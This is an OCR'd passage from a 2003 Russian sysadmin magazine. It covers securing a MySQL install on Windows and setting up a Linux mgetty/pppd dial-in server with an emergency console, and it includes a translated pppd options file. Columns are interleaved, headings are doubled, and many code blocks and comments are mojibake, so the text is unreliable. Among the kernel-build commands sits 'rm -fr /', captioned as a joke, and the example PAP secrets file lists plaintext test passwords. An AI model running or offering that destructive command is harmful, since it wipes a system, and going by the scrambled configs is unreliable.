3.22): и обновления к базе данных mysql. %
 windows-system-directory\my.ini; Все «нормальные» пользователи
 C:\my.cnf. (т.е. не являющиеся анонимными) мо- Значение % в столбце Host озна-
гут только изменить свой собственный чает «любой» – вам это надо? Думаю,
В этом файле в том числе пропи- пароль с помощью описанных выше нет, так что:
сывается пользователь root. команд или с помощью команды:
ВНИМАНИЕ! ïóòü_ê_äèðåêòîðèè_MySQL\bin> mysql -
 По умолчанию пароль для root НЕ mysql> SET PASSWORD=PASSWORD('new uroot -pyour_password mysql
mysql> DELETE FROM user WHERE User='';
установлен! УСТАНОВИТЕ ЕГО! password');
mysql> DELETE FROM user WHERE
Password='';
mysql> QUIT
... Имейте в виду, что если вы кор- ïóòü_ê_äèðåêòîðèè_MySQL\bin>
user=root ректируете пароль непосредственно mysqladmin -uroot -pyour_password reload
password=âàø_íîâûé_ïàðîëü
в таблице user, вы должны дать сер-
 Так как под Windows отсутствует веру команду перечитать таблицы
механизм регулирования того, от- привилегий: Создание баз данных
куда и куда можно устанавливать и доступ к ним для
соединения, ваш MySQL оказыва- mysql> FLUSH PRIVILEGES; отдельных проектов
ется открыт всему миру! Эту ситу- Вообще работать из-под пользовате-
ацию следует изменить (через ус- – в противном случае изменений не ля root – «дурной тон» и крайне небе-
тановку и настройку firewall, встро- произойдет! зопасное дело.
енным фильтратором пакетов на Поэтому рекомендую создавать
сетевой карте или иным способом)! Первичная настройка отдельную базу данных и отдельного
привилегий в MySQL пользователя для каждого рабочего
под Windows проекта.
Установка пароля для Так как установка MySQL по умолча- Операция это несложная, делать
пользователя root в MySQL нию производится максимально от- это нужно из-под пользователя root:
Так как установка MySQL по умолча- крытой, первое, что вы должны сде-
нию производится максимально от- лать – определять пароль для пользо- mysql> CREATE DATABASE mydatabase_name;
mysql> GRANT ALL PRIVILEGES ON
крытой, первое, что вы должны сде- вателя root и удалить анонимного mydatabase_name.* TO user_name@host_name
лать, – определять пароль для пользо- пользователя в MySQL. IDENTIFIED BY 'password';
вателя root в MySQL. Вы можете сделать это следую-
Вы можете сделать это следую- щим образом: где:
щим образом:  user_name – имя пользователя;
ïóòü_ê_äèðåêòîðèè_MySQL\bin> mysql
mysql
 host_name – хост, с которого бу-
shell> mysql -u root mysql дет производиться соединение
mysql> SET PASSWORD FOR mysql> DELETE FROM user WHERE
Host='localhost' AND User=''; (может быть, localhost);
root@localhost=PASSWORD('new_password'); mysql> QUIT
ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin  password – пароль, с которым бу-
Если вы достаточно уверены в сво- reload дет производится соединение.
ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin
их действиях, вы можете непосред- -u root password your_password
ственно манипулировать таблицами
привилегий: После того как вы установили па-
роль для пользователя root, вы долж-
shell> mysql -u root mysql ны использовать его при обращении
mysql> UPDATE user SET
Password=PASSWORD(“new_password”) к серверу, как root. Например:

№2(3), февраль 2003 25


администрирование

КАК ПИНГВИН
ГОВОРИТ ПО
ТЕЛЕФОНУ,
ИЛИ НАСТРОЙКА
DIALIN-СЕРВЕРА
ДЛЯ ДОСТУПА В
ИНТЕРНЕТ
И АВАРИЙНОЙ
КОНСОЛИ
АНДРЕЙ МОЗГОВОЙ
ОО том,
том, как
как настроить
настроить вв Linux
Linux модемное
модемное соединение,
соединение, уже
уже написано
написано большое
большое количество
количество статей.
статей.
Но
Но согласитесь,
согласитесь, что
что когда
когда приходится
приходится настраивать
настраивать какой-нибудь
какой-нибудь модем,
модем, будь
будь то
то входящее
входящее или
или
исходящее
исходящее соединение,
соединение, все
все равно
равно приходится
приходится открывать
открывать пару-тройку
пару-тройку документаций,
документаций, чтобы
чтобы
разобраться
разобраться во
во всем
всем практически
практически сс самого
самого начала.
начала. После
После прочтения
прочтения этой
этой статьи
статьи ситуация
ситуация не
не
изменится.
изменится. Настоящая
Настоящая статья
статья не
не претендует
претендует на
на оригинальное
оригинальное решение
решение поставленной
поставленной задачи,
задачи,
но
но это
это практически
практически готовое
готовое решение
решение попо настройке
настройке dialin-сервера.
dialin-сервера.

26
администрирование
«Аварийная консоль» – название за- вполне достаточно, если учесть, что ты – как вы, наверное, уже догада-
вораживающее, но в мире реально- не надо платить за пользование мо- лись – mgetty и pppd соответственно.
сти это всего лишь консоль, в кото- демным пулом. Хочу заметить, что
рую можно попасть благодаря тому у меня сервер имеет 18 модемов. Та- Настройка
же модемному соединению. Кстати, кое количество портов обеспечили Как Linux начинается с ядра, так и
она (консоль) становится действи- две мультипортовки от Digiboard. настройка его начинается с ядра.
тельно аварийной, когда доступ к Думаю, что подробное описание на-
вашему любимому серверу по ка- Полусухая теория стройки ядра выходит за рамки дан-
ким-либо причинам невозможен че- Назвать окончательно настроенный ной статьи, так что отмечу в общих
рез сеть, а вам срочно надо что-то сервер полноценным модемным пу- чертах. Убедитесь, что присутству-
поправить или проверить. Один лом не поворачивается язык. Но все ет поддержка последовательных
только пример удаленного админи- же. Для начала нам понадобится портов (обычно установлена, да и
стрирования чего стоит... Я имею в компьютер, подойдет практически если вы используете мультипортов-
виду небольшую сеть без «подсту- любой – тут уж на ваш выбор. Опе- ку, которую понимает ядро без до-
па» в Интернет. рационная система Linux. Я исполь- полнительных модулей, естественно
зую дистрибутив Slackware (http:// включите ее поддержку), поддерж-
Доступ в Интернет www.slackware.com), этот дистрибу- ка консоли на последовательных
Выражение «доступ в Интернет» в тив действительно достоин звания портах, pppd лучше не включать в
этой статье представляется так: Linux. Приятная загрузка в стиле ядро, а поддержать модулем (потом
пользователь ввел номер телефона, BSD, а самое главное – все можно не забудьте подгрузить необходи-
логин и пароль, нажал кнопку “OK”, подогнать напильником (а то и раш- мые модули). Сохраняем изменения,
послушал веселую трель модема и пилем, админы поймут). Описанная и собираем:
попал (по-настоящему попал) во ниже настройка при понимании про-
всемирную паутину байтов, прово- исходящего будет работать и на ос- 'make dep && make clean bzImage'
дов, серверов, а главное – инфор- тальных дистрибутивах Linux и, ду- 'make modules && make modules_install'
'make bzlilo' - íó èëè ÷òî ó âàñ òàì
мации. Кстати, главный девиз насто- маю, на всех остальных системах, 'rm -fr /' - øóòêà
ящих хакеров – не тех, что читают куда портирован pppd (FreeBSD и т. 'reboot'
от корки до корки журнал «Хакер», д.). Модем посоветую тот, который
и даже не тех, которым удалось-таки хорошо держит линию. Поймите Идем дальше... Самое время на-
стащить пароли других пользовате- меня правильно, конкретизировать строить мультипортовку. Если она
лей, воплощая в жизнь советы жур- здесь сложно. Разве что только не не поддерживается в стабильном
нала. Судите сами, ведь не так дав- winmodem. Куда цеплять? На Com- последнем ядре Linux, а производи-
но прошла новость, что пара таких порт. То, что у меня стоят мультипор- тель заявил что карточка “Linux
кулхацкеров получила срок. На что товки, а у вас нет – особого значе- compatible” – найдите на homesite
надеялись? Думали, что на их АТС ния не имеет, т.к. в системе это все- производителя драйвера... Тут я вам
нет определителя номера! Кхм, го лишь «имена файлов». Другое не в силах помочь. Главное – опре-
кхм... Вернемся к нашим баранам, дело, если вам надо выбрать муль- делите имена устройств в системе,
главный девиз настоящих хакеров: типортовку. Тут критерий тоже не куда подключен модем.
«Информация должна быть свобод- особо сложен – чтоб в Linux (или что Добрались до mgetty. Изначаль-
ной». Можете сами в этом убедить- у вас там) поддерживалась. Мой вы- но этот пакет написан для подклю-
ся, прочитав замечательный пере- бор Digiboаrd. О его настройках могу чения факса, но используется так же
вод книги «Hackers, heroes of сказать – все пучком. Есть файл ин- для dialin-серверов, особенно с по-
computer revolution», доступный в терактивной настройки, в котором явлением возможности AutoPPP (ав-
Интернете по адресу http:// все настраивается и прописывается. томатического определения ppp-со-
cooler.irk.ru/hackers/. И если вам не В результате подгружаются необхо- единения).
хочется платить за качественный димые модули и появляются новые
Интернет по модему, вы можете на- девайсы в /dev. Я же сказал – все if (ïàêåò óæå óñòàíîâëåí) {
Óáåäèòåñü, ÷òî îí ñîáðàí ñ ïàðàìåòðîì
строить dialin-сервер в вашем офи- пучком. -DAUTO_PPP.
се. Пусть не такой быстрый, но бес- Имеем: компьютер, ОС и подклю- } else {
Ñêà÷èâàåì ïîñëåäíþþ âåðñèþ mgetty ñ
платный. Почему не такой быстрый? ченный модем. Что дальше? А даль- äîìàøíåãî ñàéòà (http://
Все просто. Даже если на вашем мо- ше – программная часть. В теории это alpha.greenie.net/mgetty/), ðàñïàêîâû-
âàåì è ñîáèðàåì ñ ïàðàìåòðîì -DAUTO_PPP.
деме красуется надпись “56k”, это не выглядит так: работает машина, ви- Ïðîöåññ ñáîðêè õîðîøî îïèñàí â ôàéëå
значит, что модем полностью ис- сит включенный модем. Один про- README.1st, íî íåò íè÷åãî ïëîõîãî îïè-
ñàòü íåîáõîäèìûå íàì äåéñòâèÿ çäåñü.
пользует эту скорость. Дело в том, граммный пакет инициализирует мо- Âî-ïåðâûõ, íàäî ñêîïèðîâàòü ôàéë
что 56k модем (стандартный модем дем и обрабатывает входящие звон- 'policy.h-dist' â 'policy.h'.
Âî-âòîðûõ, îòðåäàêòèðîâàòü ôàéë
типа «Курьер») может только прини- ки. Решает, что «отдать» абоненту: 'Makefile', äîáàâèâ â íåãî çàâåòíûé
мать, но никак не посылать. Следо- консоль или Интернет. Консоль отда- ïàðàìåòð. Ôëàã çàäàåòñÿ êîìïèëÿòîðó â
110-é ñòðîêå.
вательно, максимальная скорость ется стандартными средствами, а Ин- Îòêðûâàåì ôàéë â ðåäàêòîðå, äëÿ êîãî
соединения будет 33.6k. Но этого тернет с помощью второго ПО. Паке- â ÷åì óäîáíåå, ÿ èñïîëüçóþ joe, ñïóñêà-

№2(3), февраль 2003 27


администрирование
åìñÿ íà íóæíóþ ñòðîêó è äîáàâëÿåì: те настроить модем, и ищите нужные Первая строка определяет, что
-DAUTOPPP
ïîëó÷àåòñÿ: вам регистры. Кстати, очень сильно делать с входящими ppp-соединени-
'CFLAGS=-O2 -Wall -pipe -DAUTO_PPP' может помочь документация, которая ями. Вторая – как раз и есть аварий-
Âû ìîæåòå äîáàâèòü åùå ÷òî-íèáóäü ïî
âêóñó, íî ýòî îñíîâíîå. Êñòàòè, â çàâè- идет в комплекте с модемом. Основ- ная консоль. Вызвать ее можно, ус-
ñèìîñòè îò OS ñòðîêà ìîæåò âèäîèçìå- ные критерии можно свести к вопро- тановив соответственную галочку (в
íèòüñÿ(ñì. êîììåíòàðèè). Òåïåðü ñîáèðà-
åì è, åñëè âñå â ïîðÿäêå, èíñòàëëèðóåì: су: «С какого звонка снимать труб- win32) о выводе терминала после
'make && make install' ку?». Дерзайте, только после на- соединения. Что мы и будем исполь-
}
стройки не забудьте записать изме- зовать для тестирования. Избавить-
Установим pppd: нения регистров с помощью коман- ся от этой консоли можно, указав
ды “AT&W”. Впоследствии это нам вместо “/bin/login” что-нибудь лож-
if (ïàêåò óæå óñòàíîâëåí) { пригодится. После этого инициализи- ное – “/bin/fasle” или “/dev/null”.
Ïðè íàñòðîéêå ñâîåãî ñåðâåðà ÿ èñ-
ïîëüçîâàë âåðñèþ, ïîñòàâëÿåìóþ â êîì- ровать модем можно по “ATZ”. Эта ко- Как запускать mgetty? Те, кто ис-
ïëåêòå c äèñòðèáóòèâîì. Òàê ÷òî åñëè ó манда «вытащит» из памяти то, что пользует единственную телефонную
âàñ óæå óñòàíîâëåí ýòîò ïàêåò, óáåäè-
òåñü ðàçâå ÷òî â åãî «ñâåæåñòè». вы записали по “AT&W”. Понятие о линию офиса, могут установить под-
} else { памяти дано в общих чертах. нятие трубки с 5-6 звонка (будьте ос-
Äîìàøíèé ñàéò pppd ðàñïîëàãàåòñÿ
ïî àäðåñó (http://www.samba.org/ppp/). К этому моменту у вас уже дол- торожны – этому есть предел) или
Çàáèðàåì ïîñëåäíþþ âåðñèþ – pppd-2.4.1 жен быть настроен модем. Допус- поднимать mgetty в нерабочее вре-
(íà ìîìåíò íàïèñàíèÿ ñòàòüè). Ðàñïàêî-
âûâàåì. тим, он должен брать трубку со вто- мя с помощью crond. Так же надо
 ìîåì äèñòðèáóòèâå ïàêåò ñîáðàí ñëå- рого звонка (S0=2). Проверьте это. учесть, что после разрыва соедине-
äóþùèì îáðàçîì. Äîáàâëåíà ïîääåðæêà
callback'a Для убедительности выключите и ния процесс mgetty должен быть под-
'zcat ppp-cbcp.diff.gz | patch -p0 включите модем, зайдите на него нят заново. У меня сервер выделен
—backup —suffix=.orig'
'zcat ppp.time.diff.gz | patch -p1 терминалом, скажите “ATZ”, затем отдельно, так и линии выделены спе-
—backup —suffix=.orig' организуйте звонок на модем с дру- цом под dailin, следовательно, все
'./configure'
'make && make install' гого номера. Должен поднять после работает круглосуточно. Получает-
} второго гудка. Если нет – добейтесь ся, и mgetty надо держать поднятым
желаемого результата, так как от круглосуточно. Для этого удобнее
Понятно, что инициализировать этого зависит дальнейшая настрой- всего использовать initd. Он сам под-
модем будет mgetty. Как это органи- ка сервера. нимет модемы при загрузке серве-
зовать – вопрос творческий. Можно Имея настроенный модем, мож- ра и после разрыва соединения.
каждый раз вводить... Точнее, можно но браться за настройку mgetty. Файл конфиг урации /etc/inittab.
настроить mgetty так, чтоб он иници- Ищем, куда же он установлен... На- Ниже приведены строки, относящи-
ализировал модем, вводя длинную ходим конфиг урационный файл еся к модемам. Думаю, лучше всего
строку инициализации. Я выбрал не- mgetty.config (конечно, если вы пе- их прописать после консолей.
сколько иной путь. Зашел в модем реопределили имя файла в policy.h
терминалом, ввел необходимую мне при сборке – ищем указанное вами --- inittab ---
D005:345:respawn:/usr/local/sbin/
строку инициализации и записал ее в имя). В mgetty у меня всего две mgetty -s 57600 /dev/ttyD005 ttyD005
память, которая энергонезависима, строчки: D006:345:respawn:/usr/local/sbin/
mgetty -s 115200 /dev/ttyD006 ttyD006
следовательно, не боится перебоя пи- --- inittab ---
тания. Терминал любой, хоть Hyper --- mgetty.config ---
data-only y
Terminal (win32), minicom (linux). Стро- init-chat "" AT OK ATZ OK Формат строк прост:
ка инициализации на ваш вкус, по ад- --- mgetty.config ---
ресу http://www.usrsupport.ru/, если я id:runlevels:action:process
не ошибаюсь, вы найдете все вам не- Хотя в этом файле так же можно
обходимое об инициализации. Я на- задать скорость соединения (насколь- Подробней – в man inittab. Первая стро-
ходил даже записи трелей модемов ко я понял, лучше ставить как можно ка относится к модему «Курьер», вто-
при соединении по разным протоко- больше, 57 600 или 115 200, посколь- рая – к стоечным «Зюксилям», у них
лам!!! (хотя это к делу не относится). ку это скорость соединения модема с разные скорости. В параметрах mgetty
Как выглядит строка инициализации, машиной, а не с пользователем), уро- можно указать уровень отладки. Напри-
зависит от марки вашего модема. В вень отладки, но мне удобнее такие мер, чтобы писались лог-файлы по каж-
своих «Курьерах» я вводил: параметры задать в /etc/inittab (см. дому модему в отдельный файл, что
ниже). Кстати, вспомните, что я гово- удобно при отладке, добавьте «-x 5».
--- ÂÂÎÄ --- рил о “ATZ”. Да, и учтите, что у меня на борту
ATZ OK Следующий необходимый нам есть мультипортовки. Т.е. если у вас
AT&F1 OK
ATC10=17 OK файл – login.config. нет мультипортовки и модем висит
AT&F1 OK на Com2, скорее всего, строка будет
AT&P1 OK --- login.config ---
AT&W OK выглядеть примерно так:
/AutoPPP/ - pppd /usr/
--- EOF --- sbin/pppd file /etc/ppp/options
* - - /bin/ 's1:12345:respawn:/usr/local/sbin/
login @ mgetty -s 57600 /dev/ttyS1 ttyS1'
Главное, определитесь, как хоти- --- login.config ---

28
администрирование
Тестирование мого демона, установите привиле- Кстати, если у вас всего один мо-
Один из приятных моментов статьи. гию на запуск от владельца файла дем, то никто не запретит вам ука-
Если вы сделали все правильно, пе- (uid). зать IP-адрес для него прямо в /etc/
резагрузите initd (“init q”). Должны Биллинг пользователей модемного ppp/options. Продолжая тему выдачи
увидеть, как поднимутся модемы. По- пула сделан на основе выходных дан- IP-адреса, замечу, что если вы жела-
скольку pppd мы еще не настраива- ных самого pppd, поэтому мне неприн- ете выдавать каждому пользователю
ли, тестировать можно только ава- ципиально, чтобы каждый пользова- по своему IP-адресу, его (IP) нужно
рийную консоль. Думаю, вы понима- тель имел свой IP-адрес (=> каждый указать в четвертом столбце файла
ете, что если тестировать консоль, то модем имеет свой IP). Конфигураци- авторизации /etc/ppp/pap-secrets или
в “/bin/login” указан “/bin/login” (или онный файл pppd – /etc/ppp/options. Ли- /etc/ppp/chap-secrets. Строка “auth”
типа того), а галочка о выводе тер- стинг файла легче смотреть с помо- как раз и требует, чтоб пользователь
минала после установки соединения щью “egrep -v”#|^ *$’ /etc/ppp/options’, сначала ввел логин и пароль для
установлена. Да, чуть не забыл. так печатаются только незакомменти- регистрации, только потом pppd по-
 Пользователи, которые мог ут рованные строки: зволит войти в сеть. Строки “+pap”
входить через аварийный вход, и “-chap” означают использовать
должны быть прописаны в систе- --- /etc/ppp/options --- только pap-авторизацию. Листинг
ме (/etc/passwd), а пользователи, 192.168.1.1: pap-secrets:
ms-dns <primary dns server ip>
использующие pppd (Интернет), ms-dns <scondary dns server ip>
должны быть прописаны в соот- ms-wins <primary wins server ip> --- cat pap-secrets ---
ms-wins <secondary wins server ip> # Secrets for authentication using PAP
ветствующих файлах настройки asyncmap 0 #client server secret ip-addr
pppd (при pap-авторизации /etc/ auth test * passfortest *
crtscts test1 * passfortest1 *
ppp/pap-secrets, при chap – /etc/ lock
ppp/chap-secrets). modem --- cat pap-secrets ---
-detach
 В виндах настройте модемное со- +pap
единение. Звоним... модем берет -chap Если в качестве пароля указать
debug
трубу после нужного гудка, уста- usehostname “«»” (две двойные кавычки), pppd по-
навливается соединение и выва- proxyarp старается найти пароль в системной
lcp-echo-interval 30
ливается окно терминала. Введя lcp-echo-failure 4 базе данных паролей. Проще гово-
в терминале ligin&password, дол- --- /etc/ppp/options --- ря – в /etc/shadow.
жны увидеть любимый shell. Если Полный перевод комментариев
что-то не получилось, не пани- Первая строка – это IP-адрес файла /etc/ppp/options смотрите в
куйте. Посмотрите лог-файлы, сервера, на котором висит модем, и приложении. Большое спасибо авто-
уверен, найдете все ответы. клиента, который дозвонился на ру перевода, к сожалению, не знаю
Кстати, в будущем, имея настро- сервер. Формат строки: его имени.
енный pppd, мы так же будем про- На этом и заканчивается вся на-
верять и его работу с помощью <server ip addr>:<client ip addr> стройка модемного пула. Присту-
этого соединения. После того как пайте к тестированию, ищите ошиб-
получили shell, можно запустить как видите, я задаю IP-адрес толь- ки в логах.
“pppd”, затем клавишу “F7” для ко для сервера. Для клиентов, точ- Возникшие вопросы вы можете
закрытия терминала и продолже- нее, для модемов IP-адреса заданы задать в форуме домашнего сайта
ния работы, но уже в Интернете в отдельных файлах, имена кото- журнала, в разделе «Вопросы чита-
(pppd должен быть настроен). рых соответс твуют именам уст- телей к авторам» (URL: ht tp://
ройств, к которым подключены мо- www.samag.ru/cgi-bin/yabb/
Настройка pppd демы. У меня так: YaBB.pl?board=answer_cat) + (лучше
Это второй творческий вопрос. Есть пишите на форум, чем на почту).
масса вариантов, настройки. Так, --- ls -1 --- Незатронутой осталась тема под-
options
например, каждый пользователь мо- options.ttyD000 счета статистики пользователей.
жет иметь свой IP-адрес или каж- options.ttyD001 Могу натолкнуть на мысль: man pppd
options.ttyD002
дый модем может иметь свой IP. ... (раздел SCRIPTS). Будет время –
Можно организовать определитель --- ls -1 --- опишу пример построения биллинга,
номера (вопрос к mgetty), используя основанный на выполнении этих
его, настроить callback. Авторизация Если у вас нет мультипортовки, скриптов. Лучше, конечно пропат-
PAP, CHAP или скрипты. Опишу, как а модемов, допустим, только два, на чить сам pppd, но все же...
сделал сам и постараюсь затронуть первом и втором com-портах, фай- Как говорит один мой знакомый
другие варианты. Обратите внима- лы будут: системный администратор, читайте
ние на одну важную деталь – pppd доки – они рулез (с). Да прибудет с
должен иметь возможность запус- îáðàçîì: вами сила.
--- cat options.ttyS0 ---
каться от пользователя. Если вам не :192.168.1.2 – äâîåòî÷èå îáÿçàòåëüíî! Далее идет описание файла /etc/
удастся решить это настройкой са- --- cat options.ttyS0 --- ppp/options.

№2(3), февраль 2003 29


администрирование
ПРИЛОЖЕНИЕ: # îçíà÷àåò óïðàâëåíèå ïîòîêîì äàííûõ,
# êàê îïöèÿ crtscts. (Ýòà îïöèÿ íå
#-mn
перевод файла # ïîëíîñòüþ âûïîëíÿåòñÿ). # Çàïðåòèòü äîãîâàðèâàòüñÿ î MRU
/etc/ppp/options #modem # [Maximum Receive Unit]
# (èñïîëüçóåòñÿ ïî óìîë÷àíèþ,
# Óñòàíîâèòü çíà÷åíèå MRU [Maximum # ò.å. 1500).
# Èñïîëüçîâàòü óêàçàííóþ êîìàíäó èëè # Receive Unit] â <n> ïðè äîãîâîðåí- #-mru
# ïðîãðàììó äëÿ íàñòðîéêè ëèíèè. Ýòîò # íîñòè.
# îáû÷íî èñïîëüçóåò ïðîãðàììó "chat", # pppd çàïðîñèò óäàëåííóþ ñòîðîíó îò- # Çàïðåòèòü äîãîâàðèâàòüñÿ î ñæàòèè
# ÷òîáû ïîçâîíèòü ìîäåìîì è çàïóñòèòü # ïðàâëÿòü ïàêåòû íå áîëåå ÷åì ïî # ïîëåé ïðîòîêîëà (èñïîëüçóåòñÿ ïî
# óäàëåííóþ ppp-ñåññèþ. # <n> áàéò. # óìîë÷àíèþ, ò.å. ñæàòèå ïîëåé
#connect "echo # Ìèíèìàëüíîå çíà÷åíèå MRU – 128. # ïðîòîêîëà çàïðåùåíî).
# âàì íóæíî óñòàíîâèòü êîìàíäó connect." # Çíà÷åíèå MRU ïî óìîë÷àíèþ – 1500. #-pc
# Äëÿ ìåäëåííûõ ëèíêîâ ðåêîìåíäóåòñÿ
# Çàïóñòèòü óêàçàííóþ êîìàíäó èëè # 296 (40 áàéò äëÿ çàãîëîâêà TCP/IP + # Òðåáóåò, ÷òîáû äðóãàÿ ñòîðîíà
# ïðîãðàììó, êîãäà pppd çàâåðøèë ñâÿçü. # 256 áàéò äàííûõ). # íàçâàëà ñåáÿ, èñïîëüçóÿ PAP.
# Ýòîò ñêðèïò ìîã áû, ê ïðèìåðó, ââåñòè #mru 542 # Ýòî òðåáóåò ÄÂÓÍÀÏÐÀÂËÅÍÍÎÉ
# êîìàíäû â ìîäåì, ÷òîáû çàâåðøèòü # àóòåíòèôèêàöèè - ÍÅ èñïîëüçóéòå ýòó
# ñâÿçü, åñëè ñèãíàëû àïïàðòíîãî # Óñòàíîâèòü ñåòåâóþ ìàñêó èíòåðôåéñà # îïöèþ äëÿ ñòàíäàðòíîé àóòåíòèôèêàöèè
# óïðàâëåíèÿ ìîäåìîì íåäîñòóïíû. # â <n>, 32-áèòíàÿ ñåòåâàÿ ìàñêà â # PAP íà ISP, òàê êàê ïðè ýòîì
#disconnect "chat — \d+++\d\c OK ath0 # "äåñÿòè÷íî-òî÷å÷íîé" íîòàöèè (íàïð. # òðåáóåòñÿ, ÷òîáû ìàøèíà ISP
OK" # 255.255.255.0). # àóòåíòèôèöèðîâàëà ñåáÿ íà âàøåé
#netmask 255.255.255.0 # ìàøèíå (à îíà ýòî íå ñìîæåò
# async êàðòà ñèìâîëîâ — 32-bit hex; # ñäåëàòü).
# êàæäûé áèò - ñèìâîë, êîòîðûé íàäî # Çàïðåòèòü ïîâåäåíèå ïî óìîë÷àíèþ, #+pap
# ïðåäñòàâèòü â âèäå escape- # êîãäà íå óêàçàí ëîêàëüíûé IP-àäðåñ,
# ïîñëåäîâàòåëüíîñòè, ÷òîáû pppd ìîã # êîòîðîå îïðåäåëÿåò (åñëè âîçìîæíî) # Íå ñîãëàøàòüñÿ ñ àóòåíòèôèêàöèåé PAP.
# åãî ïðèíÿòü. # ëîêàëüíûé IP-àäðåñ ïî èìåíè õîñòà. #-pap
# 0x00000001 - ýòî ìàñêà äëÿ '\x01', # Ñ ýòîé îïöèåé óäàëåííàÿ ñòîðîíà
# à 0x80000000 - ìàñêà äëÿ '\x1f'. # äîëæíà áóäåò îáåñïå÷èòü ëîêàëüíûé # Òðåáóåò, ÷òîáû äðóãàÿ ñòîðîíà
#asyncmap 0 # IP-àäðåñ â òå÷åíèå IPCP-ïåðåãîâîðîâ # íàçâàëà ñåáÿ, èñïîëüçóÿ CHAP
# (åñëè îíà íå îïðåäåëåíà ÿâíî â # [Cryptographic Handshake
# Òðåáîâàíèå äëÿ óäàëåííîé ñòîðîíû # êîìàíäíîé ñòðîêå èëè â ôàéëå # Authentication Protocol].
# íàçâàòü ñåáÿ, ïåðåä òåì êàê íà÷íåòñÿ # options). # Ýòî òðåáóåò ÄÂÓÍÀÏÐÀÂËÅÍÍÎÉ
# îáìåí ïàêåòàìè. #noipdefault # àóòåíòèôèêàöèè - ÍÅ èñïîëüçóéòå ýòó
#auth # îïöèþ äëÿ ñòàíäàðòíîé àóòåíòèôèêàöèè
# Ðàçðåøèòü îïöèþ "passive" â LCP. # CHAP íà ISP, òàê êàê ïðè ýòîì
# Èñïîëüçîâàòü àïïàðàòíîå óïðàâëåíèå # Ñ ýòîé îïöèåé pppd áóäåò ïûòàòüñÿ # òðåáóåòñÿ, ÷òîáû ìàøèíà ISP
# ïîòîêîì äàííûõ (íàïð., RTS/CTS), # èíèöèèðîâàòü ñîåäèíåíèå; åñëè îòâåò # àóòåíòèôèöèðîâàëà ñåáÿ íà âàøåé
# ÷òîáû óïðàâëÿòü ïîòîêîì äàííûõ íà # îò äðóãîé ñòîðîíû íå ïðèíÿò, òî # ìàøèíå (à îíà ýòî íå ñìîæåò ñäåëàòü)
# ïîñëåäîâàòåëüíîì ïîðòó. # pppd áóäåò ïàññèâíî îæèäàòü #+chap
#crtscts # ïðàâèëüíûé LCP-ïàêåò îò äðóãîé
# ñòîðîíû (âìåñòî âûõîäà, êàê äåëàåòñÿ # Íå ñîãëàøàòüñÿ ñ àóòåíòèôèêàöèåé CHAP.
# Èñïîëüçîâàòü ïðîãðàììíîå óïðàâëåíèå # áåç ýòîé îïöèè). #-chap
# ïîòîêîì äàííûõ (íàïð., XON/XOFF), #passive
# ÷òîáû óïðàâëÿòü ïîòîêîì äàííûõ íà # Çàïðåòèòü îáñóæäåíèå ñæàòèÿ
# ïîñëåäîâàòåëüíîì ïîðòó. # Ñ ýòîé îïöèåé pppd íå áóäåò # IP-çàãîëîâêîâ â ñòèëå Van Jacobson
#xonxoff # ïåðåäàâàòü LCP-ïàêåòû äëÿ èíèöèàöèè # (èñïîëüçóåòñÿ ïî óìîë÷àíèþ, ò.å.
# ñîåäèíåíèÿ, ïîêà íå ïðèäåò # ñæàòèÿ íåò)
# Äîáàâèòü ìàðøðóò ïî óìîë÷àíèþ # ïðàâèëüíûé LCP-ïàêåò îò äðóãîé #-vj
# â ñèñòåìíóþ òàáëèöó ìàðøðóòèçàöèè, # ñòîðîíû (êàê îïöèÿ "passive"
# èñïîëüçóÿ óäàëåííóþ ñòîðîíó êàê øëþç, # â ñòàðûõ âåðñèÿõ pppd). # Óâåëè÷èòü óðîâåíü îòëàäêè (òî æå
# êîãäà äîãîâîðåííîñòü IPCP óñïåøíî #silent # ÷òî -d). Åñëè ýòà îïöèÿ åñòü, pppd
# äîñòèãíóòà. Ýòà çàïèñü óäàëÿåòñÿ # áóäåò çàïèñûâàòü â æóðíàë âñå
# ïðè çàâåðøåíèè ñâÿçè. # Íå òðåáîâàòü èëè íå ðàçðåøàòü # ïðèáûâøèå è îòïðàâëåííûå ïàêåòû â
#defaultroute # äîãîâàðèâàòüñÿ î ëþáûõ îïöèÿõ LCP # ÷èòàáåëüíîé ôîðìå. Ïàêåòû
# è IPCP (èñïîëüçîâàòü çíà÷åíèÿ # ðåãèñòðèðóþòñÿ â ëîã-ôàéëàõ ÷åðåç
# Îïðåäåëÿåò, ÷òî íåêîòîðûå ñèìâîëû # ïî óìîë÷àíèþ). # syslog ñî ñðåäñòâîì daemon è óðîâíåì
# äîëæíû áûòü çà'escape'ëåíû ïðè ïå- #-all # îòëàäêè. Ýòà èíôîðìàöèÿ ìîæåò áûòü
# ðåäà÷å (íåçàâèñèìî îò òîãî, ïðîñèëà # ïåðåíàïðàâëåíà â ôàéë
# ëè óäàëåííàÿ ñòîðîíà èõ escape'èòü # Çàïðåòèòü äîãîâàðèâàòüñÿ î ñæàòèè # ñîîòâåòñòâóþùåé óñòàíîâêîé
# ñâîåé async êàðòîé óïðàâëÿþùèõ # àäðåñà/óïðàâëåíèÿ (èñïîëüçóåòñÿ # /etc/syslog.conf
# ñèìâîëîâ). Ñèìâîëû, êîòîðûå íàäî # ïî óìîë÷àíèþ, ò.å. àäðåñíûå/ # (ñì. syslog.conf(5)).
# escape'èòü, óêàçûâàþòñÿ â âèäå ñïèñêà # óïðàâëÿþùèå ïîëÿ çàïðåùåíû). # (Åñëè pppd ñêîìïèëèðîâàí ñ
# øåñòíàäöàòåðè÷íûõ ÷èñåë, ðàçäåëåí- #-ac # ðàçðåøåííîé extra îòëàäêîé, îí áóäåò
# íûõ çàïÿòûìè. Çàìåòüòå, ÷òî äëÿ îï- # çàïèñûâàòü ñîîáùåíèÿ â æóðíàë,
# öèè escape ìîãóò áûòü óêàçàíû ïî÷òè # Çàïðåòèòü äîãîâàðèâàòüñÿ î asyncmap # èñïîëüçóÿ ñðåäñòâî local2 âìåñòî
# âñå ñèìâîëû, â îòëè÷èå îò îïöèè # (èñïîëüçóåòñÿ asyncmap ïî óìîë÷àíèþ, # daemon).
# asyncmap, êîòîðàÿ ïîçâîëÿåò # ò.å. escape âñå óïðàâëÿþùèå #debug
# óêàçûâàòü òîëüêî óïðàâëÿþùèå # ñèìâîëû).
# ñèìâîëû. Ñèìâîëû, êîòîðûå íåëüçÿ #-am # Äîáàâèòü èìÿ äîìåíà <d> ê ëîêàëüíîìó
# escape'èòü - ýòî 0x20 - 0x3f # èìåíè õîñòà äëÿ öåëåé
